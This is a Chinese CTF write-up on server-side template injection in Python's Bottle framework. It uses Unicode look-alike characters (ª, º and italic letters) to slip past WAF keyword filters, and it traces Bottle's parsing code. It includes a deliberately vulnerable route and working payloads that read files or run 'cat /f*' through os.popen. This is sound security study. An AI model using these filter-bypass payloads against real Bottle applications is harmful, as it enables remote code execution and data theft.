bottle框架斜体字引发的ssti模板注入

show

xyctf2025遇到了这个知识点

环境如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import bottle
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
print(payload)
try:
return bottle.template('hello '+payload)
except:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

目前发现的POC只能替换俩字符,分别是oa,在bottle的SSTI里,他们可以被直接替换成ª (U+00AA),º (U+00BA)进而绕过各种waf。

这里给出unicode字符表的网址:https://symbl.cc/cn/unicode-table/#latin-1-supplement


ª的url编码是%C2%AA,若我们直接传入http://127.0.0.1:5000/attack?payload={{%C2%AAbs(-1)}},服务端回显如下:

1
2
{{ªbs(-1)}}
127.0.0.1 - - [08/Apr/2025 16:27:04] "GET /attack?payload={{%C2%AAbs(-1)}} HTTP/1.1" 400 752

那么我们去掉%C2,发现页面正常回显hello 1

1
2
127.0.0.1 - - [08/Apr/2025 16:28:01] "GET /attack?payload={{%AAbs(-1)}} HTTP/1.1" 200 7
{{ªbs(-1)}}

然后我们试试阳性序数指示符º。url编码是%C2%BA。若我们直接传入http://192.168.79.128:5000/attack?payload={{%C2%BApen(%27/flag%27).read()}},客户端报错,服务端回显如下:

1
2
{{ºpen('/flag').read()}}
192.168.79.1 - - [08/Apr/2025 16:40:48] "GET /attack?payload={{%C2%BApen(%27/flag%27).read()}} HTTP/1.1" 400 768

去掉%C2,发现ok啦。http://192.168.79.128:5000/attack?payload={{%BApen(%27/flag%27).read()}}

1
2
{{ºpen('/flag').read()}}
192.168.79.1 - - [08/Apr/2025 16:42:17] "GET /attack?payload={{%BApen(%27/flag%27).read()}} HTTP/1.1" 200 30

原理

我们深入代码看看,个人认为bottle源码看着还是很舒服的,因为只有一个文件。

我们跟进bottle.template()看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)

这里主要就是指定模板引擎和模板文件的搜索路径。还有下面的模板缓存机制:

  1. 缓存逻辑:如果模板未缓存或处于调试模式(DEBUG=True),则重新加载模板。
    • 直接使用模板对象:如果 tpl 已经是适配器实例,直接缓存。
    • 模板字符串:如果包含换行符或模板语法符号({, %, $),视为模板字符串。
    • 模板文件:否则视为文件名,从 lookup 路径加载。

识别出模板标识符后将其视为模板字符串,再交给adapter,也就是SimpleTemplate。使用render()作为入口函数。

1
2
3
4
5
6
7
8
9
def render(self, *args, **kwargs):
""" Render the template using keyword arguments as local variables. """
env = {}
stdout = []
for dictarg in args:
env.update(dictarg)
env.update(kwargs)
self.execute(stdout, env)
return ''.join(stdout)

env.update() 把所有位置参数(*args)合并进 env 中;把关键字参数(**kwargs)也加入到 env 中;最后调用当前类的execute方法。我们跟进看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def execute(self, _stdout, kwargs):
env = self.defaults.copy()
env.update(kwargs)
env.update({
'_stdout': _stdout,
'_printlist': _stdout.extend,
'include': functools.partial(self._include, env),
'rebase': functools.partial(self._rebase, env),
'_rebase': None,
'_str': self._str,
'_escape': self._escape,
'get': env.get,
'setdefault': env.setdefault,
'defined': env.__contains__
})
exec(self.co, env)
if env.get('_rebase'):
subtpl, rargs = env.pop('_rebase')
rargs['base'] = ''.join(_stdout) #copy stdout
del _stdout[:] # clear stdout
return self._include(env, subtpl, **rargs)
return env

可以看到在exec的全局变量里定义了一个_escape_printlist函数。

模板代码的执行其实就是在 exec(self.co, env),我们跟进看看self.co(即要执行的代码)。

1
2
3
@cached_property
def co(self):
return compile(self.code, self.filename or '<string>', 'exec')

这个@cached_property可以理解为是一个优化机制,用来避免重复计算。

进行了一次compile(编译),我们直接跟进self.code

1
2
3
4
5
6
7
8
9
10
11
12
13
def code(self):
source = self.source
if not source:
with open(self.filename, 'rb') as f:
source = f.read()
try:
source, encoding = touni(source), 'utf8'
except UnicodeError:
raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.')
parser = StplParser(source, encoding=encoding, syntax=self.syntax)
code = parser.translate()
self.encoding = parser.encoding
return code

我们在try里面,touni的下方加一个print(source)

当我们传入以下参数的时候,我们看看服务端print

1
http://127.0.0.1:5000/attack?payload={{hello%20world}}

发现这里的source其实就是我们传入的参数。

跟进touni看看:

1
2
3
4
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return unicode("" if s is None else s)

如果是字节类型的,decode后return,否则return一个unicode("" if s is None else s),然后我们看看unicode的定义:

1
unicode = str

unicode是一个str类,全体str!

然后我们再回到code()方法

1
2
parser = StplParser(source, encoding=encoding, syntax=self.syntax)
code = parser.translate()

跟进一下StplParsertranslete方法。StplParser 类是用来解析和转换某种模板或源代码的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def translate(self):
if self.offset: raise RuntimeError('Parser is a one time instance.')
while True:
m = self.re_split.search(self.source, pos=self.offset)
if m:
text = self.source[self.offset:m.start()]
self.text_buffer.append(text)
self.offset = m.end()
if m.group(1): # Escape syntax
line, sep, _ = self.source[self.offset:].partition('\n')
self.text_buffer.append(self.source[m.start():m.start(1)] +
m.group(2) + line + sep)
self.offset += len(line + sep)
continue
self.flush_text()
self.offset += self.read_code(self.source[self.offset:],
multiline=bool(m.group(4)))
else:
break
self.text_buffer.append(self.source[self.offset:])
self.flush_text()
return ''.join(self.code_buffer)

这段代码主要就是将模板/自定义语法转换为可执行代码(如 Python)。

这里我们主要关注的是self.flush_text(),我们跟进一下。

  • flush_text(): 将 text_buffer 中的普通文本转换为目标代码(如 Python 的 print() 语句)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def flush_text(self):
text = ''.join(self.text_buffer)
del self.text_buffer[:]
if not text: return
parts, pos, nl = [], 0, '\\\n' + ' ' * self.indent
for m in self.re_inl.finditer(text):
prefix, pos = text[pos:m.start()], m.end()
if prefix:
parts.append(nl.join(map(repr, prefix.splitlines(True))))
if prefix.endswith('\n'): parts[-1] += nl
parts.append(self.process_inline(m.group(1).strip()))
if pos < len(text):
prefix = text[pos:]
lines = prefix.splitlines(True)
if lines[-1].endswith('\\\\\n'): lines[-1] = lines[-1][:-3]
elif lines[-1].endswith('\\\\\r\n'): lines[-1] = lines[-1][:-4]
parts.append(nl.join(map(repr, lines)))
code = '_printlist((%s,))' % ', '.join(parts)
self.lineno += code.count('\n') + 1
self.write_code(code)

这里我们在code下方加一个print(code)

我们访问http://127.0.0.1:5000/attack?payload=hello{{hello%20world}},服务端回显如下:

1
2
hello{{hello world}}
_printlist(('hello hello', _escape(hello world),))

这个_printlist就是在exec执行的全局空间里的打印函数。

1
2
3
4
5
6
7
8
9
10
11
12
env.update({
'_stdout': _stdout,
'_printlist': _stdout.extend,
'include': functools.partial(self._include, env),
'rebase': functools.partial(self._rebase, env),
'_rebase': None,
'_str': self._str,
'_escape': self._escape,
'get': env.get,
'setdefault': env.setdefault,
'defined': env.__contains__
})

然后我们接着看flush_text,其中有

1
parts.append(self.process_inline(m.group(1).strip()))

每一行模板都会经过它,self.process_inline(m.group(1).strip()),我们跟进一下。

1
2
3
def process_inline(chunk):
if chunk[0] == '!': return '_str(%s)' % chunk[1:]
return '_escape(%s)' % chunk

这里我们发现了与转码有关的_escape函数,我们接下来跟进一下 self._escape,发现他在prepare中被定义。

1
2
3
4
5
6
7
8
9
10
11
12
class SimpleTemplate(BaseTemplate):
def prepare(self,
escape_func=html_escape,
noescape=False,
syntax=None, **ka):
self.cache = {}
enc = self.encoding
self._str = lambda x: touni(x, enc)
self._escape = lambda x: escape_func(touni(x, enc))
self.syntax = syntax
if noescape:
self._str, self._escape = self._escape, self._str

还记得每一次进入SimpleTemplate都有一次初始化吗,就是prepare函数这些。

1
self._escape = lambda x: escape_func(touni(x, enc))

我们跟进一下escape_func,发现

1
escape_func=html_escape

再跟进一下html_escape

1
2
3
4
def html_escape(string):
""" Escape HTML special characters ``&<>`` and quotes ``'"``. """
return string.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;')\
.replace('"', '&quot;').replace("'", '&#039;')

就是一个防止XSS的HTML编码函数。

至此我们得出结论:我们的输入,不论在不在{{}}里,经过唯一的编码检查就是对source的touni(),但是由于全局变量中的unicode在python3下是全体str,这就导致了我们可以输入斜体字符

这里给出一个斜体字符生成器:https://exotictext.com/zh-cn/italic/

这里3.12.2及其之前的python版本如果执行上述命令会报错!

最后的代码由python的exec()来执行

假如直接exec()任意code的话,python会把code中当作代码处理的斜体字根据Decomposition转成对应的ASCII字符(当作字符串处理的除外,如此例中,假如whoami或os为斜体,则会无法执行,因为找不到斜体的os库,和斜体的whoami命令),这里oswhoami是当作字符串处理的!

看到这里,我想起之前ctf一道ssti的题也考到了这种斜体的方法,这里给出一个payload:

1
𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒈𝒆𝒕𝒂𝒕𝒕𝒓(__𝒊𝒎𝒑𝒐𝒓𝒕__(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[111, 115]))),𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[112,111,112,101,110])))(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[99,97,116,32,47,102,42]))),𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[114,101,97,100])))()

他这个其实是等价于__import__('os').popen('cat /f*').read()

接下来再说说为什么只有两个字符ª (U+00AA),º (U+00BA)成功了:

1
2
{{ªbs(-1)}}
127.0.0.1 - - [08/Apr/2025 19:06:12] "GET /attack?payload={{%C2%AAbs(-1)}} HTTP/1.1" 400 752

这些特殊字符经过URL编码之后一个字符都必须以两个编码值表示。但是bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的,那么bottle解析的就是%C2,只要删除掉%C2就能将字符传入后端!

我们再看看其他的有没有可利用的!

1
2
{{ªbs(-¹)}}
http://127.0.0.1:5000/attack?payload={{%C2%AAbs(-%C2%B9)}}

若把前面的%C2删除,我们传入如下的参数

1
http://127.0.0.1:5000/attack?payload={{%AAbs(%B9)}}

服务端回显如下:

1
2
{{ªbs(¹)}}
127.0.0.1 - - [08/Apr/2025 19:12:10] "GET /attack?payload={{%AAbs(%B9)}} HTTP/1.1" 400 750

那就是不行喽!

其中只有ª (U+00AA),º (U+00BA),¹ (U+00B9),² (U+00B2),³ (U+00B3)有用,其中¹ (U+00B9),² (U+00B2),³ (U+00B3)在exec()时不会被python正确解析。而ª (U+00AA),º (U+00BA)执行的时候等效于字符a,o,别的字符RCE根本用不上。

这里稍微总结一下,如果我们是从前端传入的,那么一定会经过url编码,举个例子:

我们传入的是{{𝒶𝒷𝓈(1)}},但是后端无法将其解析,前端页面会报错400。

1
2
127.0.0.1 - - [08/Apr/2025 19:15:16] "GET /attack?payload={{%F0%9D%92%B6%F0%9D%92%B7%F0%9D%93%88(1)}} HTTP/1.1" 400 779
{{𝒶𝒷𝓈(1)}}

但是如果我们直接在后端传入𝒶𝒷𝓈(1),将以下语句直接加入代码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import bottle
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
return bottle.template('{{𝒶𝒷𝓈(-2)}}')
# payload = bottle.request.query.get('payload')
# print(payload)
# try:
# return bottle.template('hello '+payload)
# except:
# bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

我们访问时前端正常回显!

再看看ª (U+00AA),º (U+00BA),如果我们前端传入,他会以两个编码值表示,而bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的,所以如果我们直接传入ª (U+00AA)或者º (U+00BA),那么必然也是会报错的,因此在前端传入时需要将前面的%C2删除后再传入!

那么如果直接从后端传入呢?看看效果

1
2
3
4
5
6
7
8
9
10
import bottle
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
return bottle.template('{{ªbs(-1)}}')

if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

因此我们所有的问题都聚焦在如何将斜体字符传入template中。

get(post)传参特殊字符必须进行URL编码的原因,因此我们是无法传入这种斜体字符的。但是假设靶机提供了一种可以不使用URL编码的方式将可控输入传入template(如:上传文件,再渲染文件中的内容形成的SSTI)那就意味着所有的字符可以全部用各种斜体替换(是的,一个ASCII的斜体字符至少4种),那就真的超模了。

对于任意ASCII字母都至少可以在https://exotictext.com/zh-cn/italic/上找到四种对应的斜体。在python中都可以直接当成ASCII正常执行。假设我们能把这些东西传到后端,不会触发针对该字符的waf,bottle渲染完成后就会直接进入exec,可以正常RCE。

参考文章:

拉蒙特徐宝子

https://www.cnblogs.com/LAMENTXU/articles/18805019